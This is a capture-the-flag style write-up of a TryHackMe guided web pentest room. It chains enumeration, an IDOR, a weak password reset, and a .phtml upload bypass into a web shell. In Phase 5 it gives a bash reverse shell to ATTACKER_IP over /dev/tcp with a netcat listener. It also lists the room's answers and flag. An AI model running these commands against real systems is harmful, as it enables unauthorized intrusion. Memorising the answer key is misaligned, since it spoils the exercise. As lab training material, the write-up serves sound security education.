August 3, 2026
TryHackMe Guided Pentest Web Writeup — Real-World VAPT Methodology
Room: https://tryhackme.com/room/guidedpentestweb

By Arc3mis
7 min read
Introduction
Imagine being hired as a penetration tester for a client running a web application called RecruitX — an internal recruitment portal where hiring managers post job listings, candidates submit resumes, and administrators manage the entire workflow. The client suspects the application has security flaws but doesn't know where they sit. Our objective is clear: find them before a malicious actor does.
Unlike traditional Capture The Flag (CTF) challenges where you are dropped into a machine and told to blindly "find the flags," a professional Vulnerability Assessment and Penetration Testing (VAPT) engagement requires a systematic, methodology-driven approach. Real-world breaches rarely stem from a single, critical flaw sitting out in the open. Instead, attackers chain smaller, low-to-medium weaknesses together until they add up to something significant.
This case study documents the end-to-end assessment of the RecruitX application, moving from absolute zero knowledge of the target to achieving full Remote Code Execution (RCE) on the underlying server.
The Engagement Path & Learning Objectives: To ensure a thorough assessment, the testing lifecycle followed a structured, cumulative path where each discovery served as a building block for the next phase:
- Reconnaissance and Enumeration: Mapping the attack surface to discover what the application exposes.
- Insecure Direct Object Reference (IDOR): Exploiting flawed access controls to view sensitive data belonging to other users.
- Weak Password Reset Flow: Weaponizing a flawed reset mechanism to take over a targeted account.
- Admin Panel Access: Using the compromised credentials to escalate privileges from a regular user to an administrator.
- Remote Code Execution (RCE): Leveraging administrative application functionality to execute arbitrary system commands on the hosting server.
Prerequisites & Foundations: Replicating this methodology requires a strong foundational understanding of Linux CLI basics, the deep mechanics of the HTTP protocol (requests, responses, and headers), and core web application architecture.
Phase 1: Reconnaissance & Service Enumeration
Before analyzing the web application, I mapped out the target's attack surface to discover active ports, service versions, and hidden directories.
Question 1
What version of the Apache server is running?
Answer: 2.4.58
The Apache version is identified during service enumeration using Nmap's service detection scan (-sV). The HTTP service banner on port 80 reveals the server version directly.
nmap -sV -sC -p- MACHINE_IPnmap -sV -sC -p- MACHINE_IP
From the scan output, the HTTP service is running:
Apache httpd 2.4.58 ((Ubuntu))
This confirms the exact version of Apache deployed on the target.
Question 2
What database service is running on the target?
Answer: MySQL
Nmap detects an open database service on port 3306. Even though authentication is restricted from an external stance, the service banner reveals the database type.
3306/tcp open mysql MySQL (unauthorized)3306/tcp open mysql MySQL (unauthorized)
This confirms that the backend database service processing application data is MySQL.
Question 3
What is the path to the password reset page?
Answer: /reset.php
Directory enumeration using Gobuster reveals hidden and unlinked application endpoints. Among the discovered paths is the password reset functionality.
gobuster dir -u http://MACHINE_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x phpgobuster dir -u http://MACHINE_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x phpThe scan output identifies:
/reset.php (Status: 200)/reset.php (Status: 200)
This indicates the presence of an active password reset page accessible directly at /reset.php.
Phase 2: Insecure Direct Object Reference (IDOR)
With the application's internal API paths exposed from the enumeration phase, I focused on testing authorization boundaries. The /api/user routing was found to be vulnerable to an Insecure Direct Object Reference (IDOR) flaw, allowing unauthenticated account enumeration by manipulating identifier parameters.
Question 1
What is the name of the administrator user?
Answer: Sarah Mitchell
By directly querying the vulnerable API endpoint and modifying the id parameter, user records can be accessed sequentially without any session or authorization checks.
curl -s "http://MACHINE_IP/api/user?id=1"curl -s "http://MACHINE_IP/api/user?id=1"The JSON response returns:
"name":"Sarah Mitchell",
"role":"administrator""name":"Sarah Mitchell",
"role":"administrator"
This confirms that the account mapped to identifier 1 is the system administrator, Sarah Mitchell.
Question 2
What role does James Crawford hold?
Answer: hiring_manager
Repeating the same unauthenticated API request while incrementing the object parameter reveals the profile structure of another user in the database.
curl -s "http://MACHINE_IP/api/user?id=2"curl -s "http://MACHINE_IP/api/user?id=2"The server response returns:
"name":"James Crawford",
"role":"hiring_manager""name":"James Crawford",
"role":"hiring_manager"
This confirms James Crawford's account identity and explicit role within the application framework.
Phase 3: Weak Password Reset Flow
With the administrator's email address (s.mitchell@recruitx.thm) disclosed via the IDOR vulnerability, I turned my attention to the password recovery flow at /reset.php to test the strength of its authentication controls.
Question 1
How many digits long is the reset token?
Answer: 6
The password reset functionality uses a highly predictable numeric token structure. By analyzing the password recovery request traffic flow, the authentication token is shown to consist of a fixed 6-digit format. The short length and predictable nature of this value make the endpoint highly susceptible to automated brute-force attacks in the absence of rate-limiting controls.
Question 2
After resetting the password for s.mitchell@recruitx.thm and logging in, what role is displayed for that account in the dashboard?
Answer: Administrator
By successfully exploiting the weak password reset logic, I overrode the administrator's password and authenticated into the application via /login.php.
Upon redirection to the internal dashboard, the interface explicitly displays the role as Administrator, confirming successful privilege escalation and full administrative access to the RecruitX system features.
Phase 4: Admin Panel Access & File Upload Vulnerabilities
Once administrative access was established, I analyzed the inner management panel features. The candidate document upload mechanism was targeted to test how the server handles user-supplied files and whether it could be abused to achieve code execution.
Question 1
What is the name of the PHP file responsible for handling file upload in the RecruitX web app?
Answer: upload.php
Application inspection and source structure analysis reveal that document submissions are routed through a dedicated file processing script. Standard naming conventions and intercepting the form submission POST request confirm that upload.php acts as the primary server-side file upload handler.
Question 2
What HTML attribute on the file input is used to restrict selectable file extensions on the client side?
Answer: accept
The frontend form utilizes the standard HTML accept attribute within the file input tag to filter allowed extensions in the user's browser file picker. Because client-side controls are entirely under the user's control, this validation layer is easily neutralized by modifying the DOM or intercepting and modifying the HTTP request using a local proxy like Burp Suite.
Question 3
Which alternative PHP extension bypassed the upload filter?
Answer: .phtml
While the backend code implemented a basic extension blocklist to reject standard .php execution scripts, the underlying Apache configuration was still configured to parse and execute alternative PHP file types. By renaming the web shell payload from .php to .phtml, the superficial blocklist filter was bypassed, allowing the file to be successfully written to the web root for subsequent execution.
Phase 5: Remote Code Execution (RCE) & Post-Exploitation
After successfully bypassing the file extension filter, I leveraged the uploaded .phtml web shell payload to execute arbitrary system commands on the hosting server, moving the engagement from application-level access to system compromise.
Question 1
What user is the web shell running as?
Answer: www-data
By interacting with the uploaded malicious script via standard URL parameters, I executed the whoami command to identify the operating permissions of the compromised process.
curl "http://MACHINE_IP/uploads/documents/shell.phtml?cmd=whoami"curl "http://MACHINE_IP/uploads/documents/shell.phtml?cmd=whoami"
The server executed the command and returned: www-data
This output confirms that commands are running under the context of the low-privileged Apache web server service account.
Question 2
What is the hostname of the target server?
Answer: recruitx-prod
Using the non-interactive web shell, I executed the hostname command to gather environmental data about the server instance.
curl "http://MACHINE_IP/uploads/documents/shell.phtml?cmd=hostname"curl "http://MACHINE_IP/uploads/documents/shell.phtml?cmd=hostname"
The response returned the production system identifier: recruitx-prod
Question 3
What is the flag?
Answer: THM{ch41n3d_vulns_4r3_d3v4st4t1ng}
Upgrading to an Interactive Reverse Shell
While the web shell proved execution capability, it remains restricted because every command requires an independent stateless HTTP request. To build a stable environment for post-exploitation, I upgraded to an interactive reverse shell.
First, I initialized a local network listener on the pentesting terminal using Netcat:
nc -lvnp 4444nc -lvnp 4444Next, I passed a URL-encoded Bash reverse shell string through the cmd parameter to force the target server to initiate an outbound TCP socket back to my listener:
curl "http://MACHINE_IP/uploads/documents/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'"curl "http://MACHINE_IP/uploads/documents/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'"The server processed the instruction, spawning a persistent connection on my listener:
nc -lvnp 4444
Listening on 0.0.0.0
Connection received on MACHINE_IP 55174
www-data@recruitx-prod:/var/www/html/uploads/documents$nc -lvnp 4444
Listening on 0.0.0.0
Connection received on MACHINE_IP 55174
www-data@recruitx-prod:/var/www/html/uploads/documents$With an interactive terminal session established, I navigated the file system to locate the target proof of compromise. I pulled the final deployment token from the web directory structure:
cat /var/www/flag.txtcat /var/www/flag.txt
This successfully completed the assessment chain, demonstrating how unauthenticated information gathering can systematically evolve into absolute application server control.
Phase 6: Attack Chain Summary & Remediation Analysis
Reflecting on the entire assessment lifecycle highlights how an attacker can leverage a series of minor administrative and logic flaws to achieve complete system compromise. This phase reviews the combined vulnerabilities and details the foundational defensive concepts required to secure the environment.
Question 1
How many distinct vulnerabilities were chained together in this engagement?
Answer: 4
The attack progression demonstrates a textbook exploitation chain where each phase relied entirely on the data gathered from the previous weakness:
- Insecure Direct Object Reference (IDOR): Unauthenticated API access allowed complete user database enumeration, leaking the administrator's email.
- Weak Password Reset Logic: A predictable 6-digit token generation flaw allowed automated account takeover.
- Broken Authentication / Privilege Escalation: Accessing the restricted admin panel via compromised administrative credentials.
- Arbitrary File Upload (Bypass): Incomplete server-side extension blocking allowed a web shell deployment, resulting in Remote Code Execution (RCE).
This multi-stage compromise proves why assessing flaws in isolation fails; multiple low-to-medium security issues regularly combine to create a critical vulnerability chain.
Question 2
What approach should be used instead of a blocklist when validating file uploads?
Answer: allowlist
Blocklists are inherently unreliable and prone to failure because attackers can routinely discover alternative file extensions (such as .phtml, .php7, or .phar) that bypass the restricted string checks while remaining executable by the server. A robust, defense-in-depth approach mandates allowlisting, which explicitly permits only a tightly defined set of trusted extensions (e.g., strictly .pdf or .png) and rejects all other data inputs by default.